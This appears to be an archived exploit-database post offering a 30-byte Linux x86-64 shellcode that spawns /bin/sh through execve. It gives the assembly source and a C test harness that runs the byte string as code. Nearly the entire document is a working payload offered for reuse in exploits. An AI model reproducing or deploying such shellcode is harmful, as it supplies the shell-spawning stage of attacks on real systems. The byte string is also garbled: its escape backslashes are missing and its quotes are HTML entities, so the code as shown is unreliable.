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linux/x86-64 execve("/bin/sh"); 30 bytes shellcode

Posted on 25 April 2010

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linux/x86-64 execve(&quot;/bin/sh&quot;); 30 bytes shellcode
==================================================

# Linux/x86_64 execve(&quot;/bin/sh&quot;); 30 bytes shellcode
# Date: 2010-04-26
# Author: zbt
# Tested on: x86_64 Debian GNU/Linux
 
/*
    ; execve(&quot;/bin/sh&quot;, [&quot;/bin/sh&quot;], NULL)
 
    section .text
            global _start
 
    _start:
            xor     rdx, rdx
            mov     qword rbx, '//bin/sh'
            shr     rbx, 0x8
            push    rbx
            mov     rdi, rsp
            push    rax
            push    rdi
            mov     rsi, rsp
            mov     al, 0x3b
            syscall
*/
 
int main(void)
{
    char shellcode[] =
    &quot;x48x31xd2&quot;                                  // xor    %rdx, %rdx
    &quot;x48xbbx2fx2fx62x69x6ex2fx73x68&quot;      // mov
$0x68732f6e69622f2f, %rbx
    &quot;x48xc1xebx08&quot;                              // shr    $0x8, %rbx
    &quot;x53&quot;                                          // push   %rbx
    &quot;x48x89xe7&quot;                                  // mov    %rsp, %rdi
    &quot;x50&quot;                                          // push   %rax
    &quot;x57&quot;                                          // push   %rdi
    &quot;x48x89xe6&quot;                                  // mov    %rsp, %rsi
    &quot;xb0x3b&quot;                                      // mov    $0x3b, %al
    &quot;x0fx05&quot;;                                     // syscall
 
    (*(void (*)()) shellcode)();
     
    return 0;
}


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